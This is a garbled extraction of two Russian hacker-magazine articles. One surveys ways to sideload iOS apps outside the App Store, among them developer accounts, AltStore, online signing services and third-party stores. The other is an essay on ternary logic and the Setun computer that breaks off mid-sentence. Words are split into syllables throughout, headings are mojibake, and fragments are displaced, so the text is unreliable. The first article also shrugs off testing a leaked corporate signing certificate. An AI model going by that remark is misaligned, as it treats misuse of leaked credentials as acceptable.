может и отоз вать!) толь ко сама ком пания Apple, и получим ситу ацию,
в которой никакой непод писан ный (точ нее — под писан ный «неп равиль ной»
циф ровой под писью) код на устрой стве выпол нять ся не может.

ÎÔÈÖÈÀËÜÍÛÉ ÏÓÒÜ: ÀÊÊÀÓÍÒ ÐÀÇÐÀÁÎÒ×ÈÊÀ

Са мый прос той и единс твен но чес тный путь решения этой проб лемы — офи- 
циаль ный. При желании при ложе ния все-таки мож но уста нав ливать, минуя
App Store, но путь этот тер нист, а для обыч ного поль зовате ля прос то недос- 
тупен.

Один из таких спо собов — раз личные вари анты 
. Так, в слу чае с кор поратив ной дис три буци ей кли ент

(обра зова тель ное учрежде ние или круп ная ком пания — нап ример, тран- 
спортная) регис три рует кор поратив ную учет ную запись, получая воз можность
самос тоятель но под писывать пакеты при ложе ний и рас сылать их на кор- 
поратив ные устрой ства через MDM (Mobile Device Management).

кор поратив ной и спе- 
циаль ной дис три буции

Для под писи исполь зует ся спе циаль ный enterprise-сер тификат, срок дей- 
ствия которо го, как пра вило, огра ничен одним годом, зато отсутс тву ют огра- 
ниче ния на чис ло под писыва емых им при ложе ний. При пер вом запус ке под- 
писан ного таким сер тифика том при ложе ния поль зовате лю (если его устрой- 
ство не было заранее нас тро ено ком пани ей-вла дель цем) нуж но будет
открыть нас трой ки и добавить сер тификат в спи сок доверен ных. В этот
момент устрой ство свя жет ся с сер вером Apple, который и выдаст (или
не выдаст; об этом — ниже) раз решение на это дей ствие.

В чем под вох? Их сра зу нес коль ко. Во-пер вых, в прог рамме кор поратив- 
ной дис три буции могут учас тво вать орга низа ции, но не час тные лица. Во-вто- 
рых, учас тие в прог рамме плат ное. Наконец, мы не выходим из-под кон тро ля
Apple; ком пания по-преж нему сох раня ет кон троль над тем, раз решить ли
запуск при ложе ния на кон крет ном устрой стве. Если Apple покажет ся, что
выдан ный орга низа ции enterprise-сер тификат исполь зует ся с наруше нием
лицен зион ного сог лашения, этот сер тификат будет момен таль но отоз ван
и под писать с его помощью вновь уста нав лива емые при ложе ния не удас тся.
Подоб ные сер тифика ты регуляр но «уте кают» и исполь зуют ся раз личны ми
«аль тер натив ными магази нами при ложе ний» для  при ложе ний.подписи

Ва риация на ту же тему — спе циаль ная дис три буция для учас тни ков прог- 
раммы Apple для раз работ чиков. Ее основное пред назна чение — тес тирова- 
ние раз работ чиками прог рамм собс твен ного про изводс тва на сво их же
устрой ствах; соот ветс твен но, для ее исполь зования нуж на учет ная запись
раз работ чика (Apple Developer Account). В рам ках спе циаль ной дис три буции
воз можно пакети рова ние: одну и ту же сбор ку мож но под писать сра зу
для сот ни устрой ств.

У это го спо соба есть как несом ненные пре иму щес тва, так и недос татки
в срав нении с методом кор поратив ной дис три буции.

В дос тоинс тва запишем в пер вую оче редь то, что при ложе ние прос то
уста нав лива ется и запус кает ся; нет необ ходимос ти под тверждать сер- 
тификат, как нет и необ ходимос ти каж дый раз для уста нов ки при ложе ния свя- 
зывать ся с сер вером Apple. Отсю да сле дует воз можность уста новить при- 
ложе ние на iPhone, у которо го отсутс тву ет под клю чение к сети, — в пол- 
ностью офлай новом режиме.

Вто рое дос тоинс тво метода — это его дос тупность для обыч ного поль- 
зовате ля. Все го 99 дол ларов в год — и ты можешь открыть собс твен ную учет- 
ную запись раз работ чика, которая поз волит тебе уста нав ливать любые при- 
ложе ния на устрой ства чис лом до ста штук!

Так, а это точ но «дос тоинс тво»? 99 дол ларов в год — это немало все го
лишь за пра во уста нав ливать собс твен ные при ложе ния на собс твен ный
iPhone, да и сто устрой ств — это за целый год: уда ление ранее зарегис три- 
рован ного устрой ства из учет ной записи не выс вобож дает один из ста сло- 
тов.

Еще один недос таток офи циаль ного спо соба — жес ткая при вяз ка дис три- 
буции к сре де раз работ ки Xcode, для работы которой, в свою оче редь, пот- 
ребу ется компь ютер с macOS. Получа ется слож новато и дорого вато, если
у тебя слу чай но нет Mac.

На конец, пос ледний недос таток метода — открыть учет ную запись
для раз работ чика час тно му лицу неп росто из-за рогаток, уста нов ленных
Apple. Об исполь зовании одно разо вых Apple ID мож но забыть: Apple верифи- 
циру ет дан ные и может отка зать в регис тра ции без объ ясне ния при чин. Наши
раз работ чики говорят, что неп лохие шан сы получить акка унт при исполь- 
зовании неново го Apple ID, в котором ука зан реаль ный адрес (тот же,
к которо му при вяза на пла теж ная кар та); регис три ровать ся луч ше с мака,
а наличие исто рии покупок с этой же учет ной записи еще повыша ет шан сы.
Нес мотря на это, гаран тии того, что учет ную запись в прог рамме для раз- 
работ чиков зарегис три руют, нет; отка зыва ют обыч но без ука зания при чин.

На этом офи циаль ные спо собы закан чива ются и начина ются полу офи- 
циаль ные.

ÏÎËÓÎÔÈÖÈÀËÜÍÛÉ ÏÓÒÜ: CYDIA IMPACTOR

По луофи циаль ный спо соб — исполь зование все той же офи циаль ной учет ной
записи для раз работ чиков, но для под писи пакета вмес то Xcode будем
исполь зовать при ложе ние . Чем это луч ше Xcode? Во-пер вых,
про ще. В Xcode нуж но задавать мас су полей, соз давать про филь, экспор- 
тировать сер тификат — квест дос таточ но запутан ный даже для нас тоящих
раз работ чиков. Cydia Impactor поз воля ет прос то взять и залить при ложе ние
на iPhone, не тре буя ничего, кро ме логина и пароля от акка унта раз работ чика.

Cydia Impactor

Во-вто рых, в отли чие от Xcode и мно гих аль тер натив ных решений, Cydia
Impactor дос тупен для мно жес тва плат форм, вклю чая macOS, Windows и Linux.

Не дос таток один: тре бует ся учет ная запись Apple ID, зарегис три рован ная
в прог рамме Apple для раз работ чиков. Если такой акка унт у тебя есть, то про- 
цеду ра дос таточ но прос та, но к ней нуж но под готовить ся — соз дать в учет ной
записи Apple ID так называ емый .па роль при ложе ния

Итак, метод уста нов ки при ложе ния с исполь зовани ем акка унта раз работ- 
чика и Cydia Impactor:
1. Под клю чаем iPhone к компь юте ру, уста нав лива ем доверен ную связь (под- 

твержда ем зап рос «Trust this computer?» на iPhone и вво дим код бло киров- 
ки экра на).

2. За пус каем Cydia Impactor.
3. Бро саем на окно Cydia Impactor файл IPA уста нав лива емо го при ложе ния.
4. Вво дим логин и «пароль при ложе ния» от Apple ID (обя затель но зарегис- 

три рован ного в прог рамме Apple для раз работ чиков).
5. Ес ли Apple ID зарегис три рован более чем в одной прог рамме для раз- 

работ чиков, выбира ем нуж ную.
6. Под твержда ем зап рос, и Cydia Impactor под пишет IPA и передаст его

на устрой ство.
7. Все, при ложе нием мож но поль зовать ся!

Спо соб кор рек тный. Одна ко хотелось бы того же самого, но с исполь зовани- 
ем обыч ного Apple ID. Как ни стран но, это воз можно, но с рядом огра ниче- 
ний.

ÈÄÅÌ Â ÑÅÐÓÞ ÇÎÍÓ: ÏÎÄÏÈÑÜ ÏÀÊÅÒÀ ÎÁÛ×ÍÛÌ APPLE ID

Итак, ты решил под писать пакет при ложе ния обыч ным Apple ID, не зарегис- 
три рован ным в прог рамме Apple для раз работ чиков. До 2019 года эта опция
была хоть и не широко извес тной, но впол не работос пособ ной с уче том
некото рых огра ниче ний: под писан ное таким обра зом при ложе ние работа ло
толь ко семь дней, а уста новить на одно устрой ство мож но было не более трех
под писан ных пер сональ ными сер тифика тами при ложе ний. Три года назад
в Apple решили прик рыть этот спо соб уста нов ки, но сде лали это не до кон ца.
Оставша яся лазей ка, впро чем, работа ет толь ко на компь юте рах с macOS.
Соот ветс твен но, если у тебя есть Mac, то ты можешь поп робовать одно
из сле дующих при ложе ний.

Nullximpactor

 — фак тичес ки аль тер натива Cydia Impactor, работа ющая толь ко
на macOS, но поз воля ющая исполь зовать для под писи обыч ные учет ные
записи.

Nullximpactor

Раз работ чик @nullx рекомен дует исполь зовать для под писи одно разо вые
Apple ID без двух фактор ной аутен тифика ции. В про тив ном слу чае тебе при- 
дет ся соз дать в сво ей учет ной записи «пароль при ложе ния».

 пос ле началь ной нас трой ки исполь зовать дос таточ но
прос то.

Äîñ òîèíñ òâà:

 толь ко macOS; тре бует ся началь ная нас трой ка AltDeploy
( ); оста ются все огра ниче ния пер сональ ной учет ной записи (при- 
ложе ние будет работать не доль ше семи дней, а уста новить мож но не более
трех при ложе ний).

Íå äîñ òàòêè:

инс трук ция

Nullximpactor

iOS App Signer

 — инте рес ное решение, прин ципи аль но отли чающееся
от всех осталь ных прог рамм подоб ного наз начения. iOS App Signer исполь- 
зует для под писи при ложе ний штат ную сре ду раз работ ки Xcode, обхо дя
при этом тре бова ние учет ной записи раз работ чика (впро чем, семид невное
огра ниче ние или огра ниче ние на чис ло уста нов ленных таким обра зом при- 
ложе ний раз работ чикам обой ти не уда лось).

iOS App Signer

Поль зовать ся iOS App Signer дос таточ но слож но, но на GitHub есть под- 
робные инс трук ции.

 ори гиналь ный метод, не тре бующий уста нов ки AltDeploy.Äîñ òîèíñ òâà:

 толь ко macOS; нужен Xcode; слож но нас тра ивать; огра- 
ниче ния пер сональ ной учет ной записи.

Íå äîñ òàòêè:

iOS App Signer

ALTDEPLOY È ALTSTORE

 — инте рес ный и рас простра нен ный спо соб для уста нов ки неофи- 
циаль ных при ложе ний и эму лято ров на устрой ства с iOS без джей лбрей ка.
С инс трук циями по уста нов ке мож но озна комить ся на .

AltStore

сай те про екта
В срав нении с опи сан ными ниже онлай новыми магази нами при ложе ний

AltStore дей стви тель но дос той ная аль тер натива. Ты можешь лич но про кон- 
тро лиро вать про исхожде ние пакета IPA, а под писан он будет тво им собс твен- 
ным пер сональ ным сер тифика том, который Apple вне зап но не анну лиру ет,
как это час то про исхо дит с сер висами типа IPWind и аль тер натив ными
магази нами при ложе ний, опи сан ными ниже.

Ус танов ка AltStore

Не дос татков у это го решения тоже хва тает. Во-пер вых, все минусы пер- 
сональ ных сер тифика тов: огра ниче ние на чис ло уста нов ленных при ложе ний
(не более трех) и вре мя их работы (не более семи дней). Во-вто рых, необ- 
ходимость уста нов ки и нас трой ки как при ложе ния iTunes с вклю чен ной син- 
хро низа цией через Wi-Fi, так и сер верной час ти AltServer (которая будет
исполь зовать ся, что бы авто мати чес ки перепод писывать уста нов ленные при- 
ложе ния каж дые семь дней).

Сто ят ли уси лия того, что бы уста новить на устрой ство до трех сто рон них
ути лит? Здо рово сом нева юсь. А вот сов мес тно с учет ной записью раз работ- 
чика это уже впол не может иметь смысл для уста нов ки при ложе ний, которых
нет и не будет в офи циаль ном App Store.

 — фак тичес ки форк решения AltStore. В отли чие от AltStore,
который уста нав лива ется на само устрой ство с iOS, AltDeploy поз воля ет уста- 
новить и под писать при ложе ние непос редс твен но с компь юте ра. При этом
тре бует ся компь ютер с macOS и тра дици онные для AltServer прыж ки по коч- 
кам. Под робные инс трук ции по уста нов ке — .

AltDeploy

здесь

AltDeploy

ÏÎÄÏÈÑÜ Â ÐÅÆÈÌÅ ÎÍËÀÉÍ

Су щес тву ют бес плат ные сер висы, поз воля ющие под писать пакет при ложе ния
в режиме онлайн, без свя зи устрой ства с компь юте ром. При мер такого сер- 
виса — .IPASign

Сер вис IPASign

По мимо собс твен но фай ла IPA, сер вис про сит пре дос тавить сер тификат
p12 для под писи, пароль и файл provisioning. Сер вис выдаст QR-код, отска- 
ниро вав который на iPhone мож но уста новить под писан ный IPA без свя зи
с компь юте ром. Если ты собира ешь ся вос поль зовать ся сво им собс твен ным
сер тифика том — дваж ды подумай, сто ит ли доверять ано ним ному сер вису.
Впро чем, если к тебе в руки попал кор поратив ный сер тификат из утеч ки и ты
хочешь про тес тировать его работу — воп росов не воз ника ет.

Как это реали зова но? С боль шой веро ятностью за кулиса ми спря тан
компь ютер с macOS и Xcode, к которо му прик ручен веб-интерфейс. Детали
реали зации неиз вес тны.

 — еще один подоб ный сер вис. Поз воля ет под писывать пакеты
не толь ко сво им сер тифика том, но и их собс твен ным (такой сер тификат
может быть анну лиро ван в любой момент, зато твой акка унт оста нет ся вне
подоз рений). Как бонус: воз можность редак тировать манифест, бла года ря
чему мож но уста нав ливать дуб ликат при ложе ния (нап ример, иметь на iPhone
два WhatsApp), а так же вклю чать опцию iTunes Sharing, которая сде лает
рабочие фай лы при ложе ния дос тупны ми через iTunes.

IPAWind

ÀËÜÒÅÐÍÀÒÈÂÍÛÅ ÌÀÃÀÇÈÍÛ ÏÐÈËÎÆÅÍÈÉ

Вы ше были опи саны штат ные спо собы уста новить при ложе ние на устрой ство;
в худ шем слу чае мы всту пали на тер риторию «серой зоны». Спо собы, опи сан- 
ные далее, в явном виде наруша ют полити ки Apple и в некото рых слу чаях
могут нарушать пра ва дру гих пра вооб ладате лей.

Пер вый такой вари ант — сто рон ние магази ны при ложе ний. Все подоб ные
решения харак теризу ются прос тотой уста нов ки и исполь зования (открыл
стра ницу магази на в Safari, нажал кноп ку, получил на устрой ство аль тер натив- 
ный магазин при ложе ний, под твер дил сер тификат — и мож но работать). Есть
как плат ные, так и бес плат ные вари анты. Самые извес тные из них:

 — спе циали зиру ется на ути литах джей лбрей ка, тви ках и пат ченных
при ложе ниях;

• Ignition

 — содер жит в катало ге ути литы, эму лято ры, джей лбрей ки и мно- 
гое дру гое ( );

• TweakBox
ка талог

 — плат ный (под писка) сто рон ний магазин при ложе ний.• iPASTORE

Эти ми тре мя спи сок подоб ных сер висов не огра ничи вает ся. AppValley,
CokernutX, Panda Helper, плат ный AppDB, TweakDoor, Emus4u, iPABox, Zestia…
Не все пережи ли выход iOS 14, но мно гие про дол жают работать и поныне.

Все эти магази ны, вклю чая плат ные сер висы, фун кци они руют с наруше- 
нием полити ки Apple: нецеле вое исполь зование сер тифика тов раз работ- 
чиков, исполь зование «утек ших» или спе циаль но куп ленных кор поратив ных
сер тифика тов и соот ветс тву ющих механиз мов дос тавки. Apple регуляр но
бло киру ет такие сер тифика ты, но сер висы всег да находят замену и перепод- 
писыва ют как само при ложе ние-магазин, так и уста нов ленные с его помощью
ути литы. .Вот что пишет об этом сам сер вис

Ка кие рис ки воз можны при исполь зовании подоб ных сер висов? Отоз- 
ванный Apple сер тификат может при вес ти к невоз можнос ти запус тить уста- 
нов ленное при ложе ние. Тех ничес кая воз можность модифи циро вать (пат чить)
при ложе ния на сто роне сер виса озна чает веро ятность получить вмес те
с уста нов ленной прог раммой неп рият ный «довесок», который (в слу чае ста- 
рых вер сий iOS) может даже взло мать устрой ство.

Поль зовать ся подоб ными магази нами или нет — решать тебе.
Для взло ман ных устрой ств дос тупно нес коль ко магази нов при ложе ний:

, , , .  У раз работ чиков ути лит
для джей лбрей ка, как пра вило, есть свой «любимый» магазин при ложе ний,
который и будет уста нов лен на устрой ство пос ле взло ма. При этом ты всег да
можешь парал лель но уста новить допол нитель ный магазин при ложе ний.

Cydia Sileo Zebra Installer 5 Ка кой из них выб рать?

На взло ман ных устрой ствах нет огра ниче ний, свя зан ных с исполь зовани- 
ем пер сональ ных про филей. Мож но уста нав ливать любое количес тво при- 
ложе ний; не будет и огра ниче ний по вре мени работы.

TESTFLIGHT

TestFlight — это сер вис тес тирова ния iOS-при ложе ний и одно имен ное при- 
ложе ние, которое поль зователь может уста новить на свое устрой ство. С тех- 
ничес кой точ ки зре ния TestFlight упро щает дис три буцию тес товых сбо рок,
облегчая про цесс сбо ра кодов тес товых устрой ств (UDID) и поз воляя рас- 
простра нять сбор ки сре ди зарегис три рован ных учас тни ков тес тирова ния.
До бес конеч ности тес товыми сбор ками поль зовать ся нель зя; рано или поз- 
дно сер тификат исте кает, и поль зовате лю при ходит ся или обновлять ся
на офи циаль ную вер сию при ложе ния, или уста нав ливать све жую тес товую
сбор ку, которую пре дос тавит раз работ чик.

Сер висом TestFlight могут вос поль зовать ся как кор поратив ные, так и час- 
тные раз работ чики. В пос леднем слу чае будет огра ниче ние на мак сималь ное
чис ло учас тни ков бета-тес тирова ния — не более 100 UDID в год. Уда ление
UDID из прог раммы не осво бож дает слот.

Не кото рые раз работ чики поль зуют ся этим сер висом для дис три буции ПО,
которое по тем или иным при чинам не при нима ют в App Store. Самый извес- 
тный при мер такого при ложе ния — Soap4me для плат формы iOS, которое
находит ся в сос тоянии пер манен тно го бета-тес тирова ния. В прин ципе, впол- 
не себе решение — но для обыч ного поль зовате ля избы точ но слож ное.

ГДЕ ВЗЯТЬ ПАКЕТЫ ПРИЛОЖЕНИЙ?
На вер ное, самый извес тный репози торий пакетов IPA — . С сай та
мож но ска чать как сами пакеты при ложе ний, так и обра зы про шивок Apple
для ряда устрой ств (по пря мым ссыл кам с сай та Apple). Ска чан ные с сай та
пакеты для уста нов ки на iPhone пот ребу ется под писать одним из опи сан ных
выше спо собов.

iOS Ninja

ÇÀÊËÞ×ÅÍÈÅ

«Пла ти или стра дай» — такой вывод мож но сде лать из этой статьи. Дей стви- 
тель но, опла тив учас тие в прог рамме для раз работ чиков, мож но забыть
о сом нитель ных (час то так же небес плат ных) сер висах и свя зан ных с ними
рис ках. Впро чем, не факт, что в прог рамме Apple для раз работ чиков вооб ще
удас тся зарегис три ровать ся; в пос леднее вре мя это ста ло неп росто. Бес- 
плат ная аль тер натива — AltStore — тре бует серь езных уси лий для уста нов ки
и нас трой ки, а так же пос тоян ной воз ни с перепод писыва нием уста нов ленных
при ложе ний, для авто мати зации которой нуж на пос тоян но работа ющая
на компь юте ре сер верная часть. Уста нов ка джей лбрей ка — уни вер саль ное
решение, лиша ющее, впро чем, одно го из основных пре иму ществ iOS — дос- 
тупа к регуляр ным обновле ниям. Каким из этих спо собов вос поль зовать ся
и сто ит ли овчинка выдел ки? Решать, как водит ся, тебе.
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GEEK

Компь юте ры, исполь зующие тро ичную
логику, при дума ны уже дав но.
Еще в 1958 году Н. П. Бру сен цов пос тро ил
в МГУ пер вую опыт ную элек трон ную тро- 
ичную ЭВМ «Сетунь», а в 1973 году в США
был соз дан Ternac — экспе римен таль ный
тро ичный эму лятор с ариф метикой над 24-
трит ными целыми и 48-трит ными дей стви- 
тель ными чис лами на дво ичном компь юте- 
ре Burroughs B1700. Может ли най ти при- 
мене ние тро ичная логика в сов ремен ных
компь юте рах? Крис Кас пер ски счи тал, что
это впол не воз можно!

INFO

Эта статья была слу чай но обна руже на в пыль ном
и порос шем паути ной чулане редак ции «Хакера»
во вре мя оче ред ной генераль ной убор ки. Крис
Кас пер ски написал ее еще в 2003 году, но по
опре делен ным при чинам матери ал не был опуб- 
ликован. Сей час мы решили испра вить это.
В сво ем эссе Крис пытал ся уга дать сле дующий
шаг раз вития вычис литель ной тех ники и обра тил
свой взгляд на тро ичную логику, которая, по его
мне нию, мог ла бы стать осно вой оче ред ного эта- 
па эво люции высоких тех нологий. Тех ничес кие
под робнос ти, каса ющиеся прин ципов такой архи- 
тек туры, не утра тили акту аль нос ти и сегод ня.

Не дале кое будущее… Гиган ты мик ропро цес сорной индус трии, как никог да,
оза боче ны бли зостью физичес ких огра ниче ний так товой час тоты и сте пени
интегра ции, за которы ми устой чивую работу чипов гаран тировать ста нет
прос то невоз можно. Про изво дитель нос ти же име ющих ся про цес соров, даже
таких сприн теров, как Pentium-XXX, хва тит от силы года эдак на три, пос ле
чего пот ребитель нач нет шиб ко нер вни чать и пинать кон курен тов, которые,
вос поль зовав шись все общим замеша тель ством, получат шанс выр вать ся
впе ред. В ход идут все воз можные обходные при емы уве личе ния про изво- 
дитель нос ти — рас парал лелива ние вычис лений, упрежда ющие исполне ние
и заг рузка команд.

При меча тель но, что вышепе речис ленные «новей шие» дос тижения
не явля ются новей шими в бук валь ном понима нии это го сло ва — в той
или иной фор ме они были реали зова ны еще на лам повых машинах, нехило
работа ющих в куда более тес ных рам ках физичес ких огра ниче ний. Быс тро- 
дей ствие и количес тво элек трон ных ламп в пер вых ЭВМ, конеч но, не идет
ни в какое срав нение с чис лом и рез востью тран зисто ров в сов ремен ных
компь юте рах, но тем не менее факт оста ется фак том.

Пос тепен но все эти тех нологии миг рирова ли на плат форму бытовых мик- 
ропро цес соров, мно гок ратно уве личи вая про изво дитель ность, ког да,
казалось бы, все ресур сы уже на исхо де. Так про изош ло и на этот раз… Едва
начали раз давать ся голоса, что конец золото го века мик ропро цес соров сов- 
сем бли зок и пора начинать переби рать ся на клас терные супер компь юте ры,
Intel «неожи дан но» вспом нила о трех знач ной логике.

Но что же это такое — трех знач ная логика? И почему она сулит рекор дное
уве личе ние про изво дитель нос ти при нез начитель ном уве личе нии аппа рат ной
слож ности мик ропро цес сора?

В соз нании обы вате ля компь юте ры нас толь ко тес но свя заны с логикой
дво ичной, битами и бай тами, что пред ста вить что-то дру гое боль шинс тво
из нас прос то не в сос тоянии. На самом деле трех знач ная логика не нова,
и впер вые она была пос тро ена Лукасе вичем в 1920 году! (Редак тор заметил
мимохо дом, что три логи ка в какой-то мере исполь зовалась в машине Бэб- 
биджа, раз работан ной в XIX веке. Арис тотель же обра тил на нее вни мание
еще рань ше. Одна ко матема тичес ки осмысле на три логи ка была лишь
в середи не XX века.) Как мож но зак лючить из наз вания, в ней фигури рует уже
не два тер ма:  и , а три — ,  и . Покажем
пре иму щес тва такого новов ведения на прос том при мере.

ис тина ложь ис тина ложь фиг его зна ет

Спро си пер вого встреч ного «В Баг даде сегод ня был дождь?». С точ ки
зре ния дво ичной логики про хожий дол жен отве тить либо «да», либо «нет».
Но ни тот ни дру гой ответ воп роша емый дать не может, пос коль ку он вам
не мете обю ро. Ну не зна ет он! Да невоз можно это ска зать язы ком дво ичной
логики. При дет ся нам изме нить воп рос. Для начала поин тересу емся — «зна- 
ете ли вы сегод ня погоду в Баг даде?», и толь ко в слу чае утверди тель ного
отве та зададим сле дующий воп рос.

В тро ичной логике ответ на наш воп рос может быть получен сра зу, то есть,
говоря язы ком кибер нетики, за один такт работы про цес сора вмес то двух:
про хожий отве тит «А фиг его зна ет!». Раз уж мы загово рили о про цес сорах,
рас смот рим прос тей шую прог рам мную задачу: срав ним два чис ла — А и В.
Оче вид но, что воз можны три вари анта: A > B, A = B и A < B. В дво ичном про- 
цес соре эту опе рацию при ходит ся осу щест влять за два про хода. Сна чала
выяс няем, рав ны ли А и В. Если они ока жут ся нерав ны, то вто рым заходом
уточ няем, А боль ше B или нет. Наг лядно это показа но на сле дующем рисун ке.

Тро ичная (сле ва) и дво ичная (спра ва) блок-схе мы

По чему же компь юте ры до сих пор стро ятся на дво ичной осно ве? При чина
зак люча ется в аппа рат ной прос тоте дво ичных вен тилей. На опре делен ном
эта пе раз вития вычис литель ной тех ники бинар ная логика ока зыва лась нам- 
ного выгод нее и эко номич нее! Сегод ня же все изме нилось. Слож ность вен- 
тилей ста ла менее кри тич на их чис ла и количес тва соеди нений меж ду ними.
А про изво дитель ность и вов се важ нее все го! Таким обра зом, тро ичные вен- 
тили выг лядят весь ма заман чивым фун дамен том для сов ремен ных компь юте- 
ров.

Ос танав лива ет лишь пол ная иде оло гичес кая несов мести мость со ста- 
рыми моделя ми. Все мы при вык ли, что память компь юте ров изме ряет ся бай- 
тами, а сами бай ты сос тоят из вось ми битов. В свою оче редь, каж дый бит
может при нимать зна чения ноль или один, соот ветс тву ющие уров ням сиг нала
на вхо де логичес кого эле мен та. В тро ичной все не так. Там мерилом все го
ста новит ся трит, при нима ющий зна чения , , , соот ветс тву ющие уров- 
ням элек три чес ких сиг налов — отри цатель ный сиг нал, нет сиг нала, положи- 
тель ный сиг нал.

–1 0 +1

Шес терка три тов обра зует ана лог бай та — . Меж ду про чим, трайт
име ет прак тичес ки ту же аппа рат ную слож ность, что и байт, но может хра нить

в себе не 2  = 256 целочис ленных зна чений, а 3  = 729 (!). Если речь идет
о динами чес кой памяти, осно ван ной на трех ста биль ных зарядо вых эле мен- 
тах — кон денса торах, то трайт будет про ще бай та, пос коль ку исполь зует
шесть, а не восемь яче ек. Трех ста биль ные триг геры ста тичес кой памяти
будут в 1,5 раза слож нее, но за счет исполь зования мень шего чис ла яче ек
получа ем, что 9/6 * 6/8 = 1,125, трайт ста тичес кой памяти будет в гру бом
приб лижении не слож нее бай та. Не прав да ли, хороший спо соб получить
боль ше опе ратив ной памяти за ту же цену? А ее более ком пак тное пред став- 
ление авто мати чес ки уве личит ско рость обме на! Поэто му сум марный при- 
рост про изво дитель нос ти получа ется весь ма и весь ма впе чат ляющим.

òðàéò
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Но на самом же деле это толь ко над водная часть айсбер га. Прак тичес кий
при рост про изво дитель нос ти про изой дет сов сем по иным при чинам. Что бы
понять это, вспом ним теорию пред став ления чисел. В любой книж ке
по информа тике мож но про честь стро ки вро де «...пред став лени ем чис ла N
назовем такое пред став ление в позици онной сис теме исчисле ния с положи- 
тель ным целым осно вани ем p, при котором запись чис ла в виде ряда цифр
a ,a ,…a  конеч ной дли ны n однознач но опре деля ет зна чение это го чис ла

по фор муле»
1 2 n

N = a p  + a p  + a p  + ... + a
1

n – 1

2

n – 2

n-1

1

n

Фор мула эта была проч но вби та в школь ные годы учи теля ми информа тики
или же нем ногим поз же пре пода вате лями — в сту ден ческие. Но в исчисле нии
с дво ичным осно вани ем никаких прег рад нет толь ко на пер вый взгляд (прав- 
да, об этом пытались умал чивать, дабы не трав мировать наше неж ное юно- 
шес кое соз нание). Поп робуй те пред ста вить по такой фор муле отри цатель- 
ное чис ло. Черт возь ми, ока зыва ется, что это невоз можно! В нашем арсе нале
толь ко еди ницы и нули, дающие лишь мно жес тво положи тель ных чисел и ноль
в при дачу.

Мож но поразить ся, как же ухит ряет ся работать сов ремен ный про цес сор.
И в самом деле, как? Подумав некото рое вре мя, мы при дем к выводу, что
мож но «выделить» один бит для ука зания зна ка чис ла. Дей стви тель но, имен- 
но так и устро ено подав ляющее боль шинс тво сов ремен ных про цес соров.
Нап ример, в чипах Intel стар ший бит каж дого чис ла может интер пре тиро вать- 
ся как зна ковый. «Может» сле дует читать и понимать в бук валь ном смыс ле.
Отли чить зна ковое чис ло от без зна ково го аппа рат но невоз можно, так они
име ют иден тичные пред став ления. При ходит ся «догова ривать ся» об этом
заранее.

В самом деле, пос мотрим, что про исхо дит, ког да про цес сор пыта ется
отнять от еди ницы двой ку. Для начала про цес сор опре деля ет, какое чис ло
из двух боль шее. В нашем слу чае 1 < 2, поэто му он меня ет их мес тами, уста- 
нав лива ет флаг перено са, ком пенси руя изме нение зна ка, и побит но отни- 
мает от еди ницы раз ность этих чисел. Это же сколь ко мик роопе раций?!
Хорошо, что хоть боль шую часть работы про цес сор берет на себя. Но немало
забот выпада ет и на долю прог раммис та. Так, перед любыми опе раци ями
при ходит ся заботить ся о при веде нии типов и, что еще хуже, о про вер ке при- 
над лежнос ти опе ран дов к заранее ого ворен ным гра ницам. Нап ример, если
мы сло жим бай ты +127 и +1, то получим –128 (!). Да, вот такая любопыт ная
матема тика! Источник ошиб ки в том, что получив ший ся резуль тат «заехал»
в зна ковый бит, от чего положи тель ное 128 ста ло трак товать ся как отри- 
цатель ное 128. Подоб ных оши бок избе жать очень и очень труд но. А мно- 
гочис ленные про вер ки, раз бро сан ные по телу прог раммы, отри цатель но ска- 
зыва ются на ком пак тнос ти и про изво дитель нос ти кода. Всех этих проб лем
нет в тро ичной логике. Трит может при нимать зна чения  дос таточ ные
для пред став ления как положи тель ных, так и отри цатель ных чисел, безо вся- 
ких допол нитель ных ухищ рений.

–1, 0, +1,

А тро ичная логика? Она поз воля ет решить любую задачу зна читель но
мень шим чис лом опе раций. Выше мы уже рас смат ривали при мер срав нения
двух чисел, поэто му не будем пов торять ся. Покажем лишь откры вающуюся
воз можность неп ротиво речи вой обра бот ки оши бок.

Рас смот рим прос той при мер: прог рамма зап росила у опе раци онной сис- 
темы нем ного памяти для собс твен ных нужд, для чего выз вала соот ветс тву- 
ющую сис темную фун кцию. Опе раци онная сис тема пок ряхте ла дис ком и вер- 
нула ука затель на выделен ный реги он, который прог рамма с радостью при- 
нялась исполь зовать. Но ведь память-то не бес конеч на, и рано или поз дно
нас тупит момент, ког да ее не хва тит, и фун кция вер нет в качес тве ука зате ля
ноль — то есть попыта ется сиг нализи ровать об ошиб ке. Вот имен но, попыта- 
ется! Если прог раммист забудет про верить получен ное зна чение, то Windows
не оста нет ся ничего ино го, как зах лопнуть некор рек тно работа ющее при- 
ложе ние. Пом нишь про слу чай с про хожим и погодой? Так и у вся кой фун кции
спер ва при ходит ся спра шивать «ты получи ла дос товер ный резуль тат?» и если
да, то «сооб щи же его». Если прог раммист забудет это сде лать (или сде лает
неп равиль но), то воз ника ет неш татная ситу ация, ког да фун кция не может
подоб рать слов, что бы ска зать: «Да не знаю я резуль тата, оши боч ка выш ла!»

Ñåòóíü

В 1957–1958 годах в сте нах уни вер ситета МГУ была пос тро ена прак тичес ки
единс твен ная на сегод няшний день серий ная тро ичная вычис литель ная
машина. Это был ком пак тный прос той про тотип нынеш него пер сональ ного
компь юте ра, и он затем успешно тру дил ся на мно гих пред при ятиях нашей
необъ ятной стра ны от Ашха бада до Якут ска. Выбор архи тек туры был про дик- 
тован в пер вую оче редь тре бова ниями к сто имос ти и надеж ности ЭВМ,
поэто му инже неры оста нови лись на быс тро дей ству ющих порого вых маг- 
нитных уси лите лях. Их трой ствен ная при рода поз воляла дос тичь той же про- 
изво дитель нос ти мень шим (по срав нению с дво ичной логикой) чис лом эле- 
мен тов.

На деж ность экспе римен таль ного образца ока залась выше вся ких пох вал.
С неболь шими ремон тами (пот ребовав шимися из-за завод ских дефек тов
двух диодов и одно го тран сфор матора) эта машина про рабо тала свы- 
ше 15 лет, находясь в неп рерыв ной экс плу ата ции в усло виях рез ких перепа-
дов тем ператур и пита юще го нап ряжения.

Тро ичная ЭВМ «Сетунь»

Вы чис литель ная мощ ность «Сетуни» была пре вос ходной для машин того вре- 
мени. Опе ратив ная память, сос тоящая из 162 девятит ритных яче ек, исполь- 
зовалась как кеш мед ленной внеш ней «барабан ной» памяти. Учи тывая, что
код машин ной опе рации уме щал ся все го в трех три тах (что поз воляло

кодиро вать до 3  = 27 команд), даже такого малень кого окна с лих вой хва тало
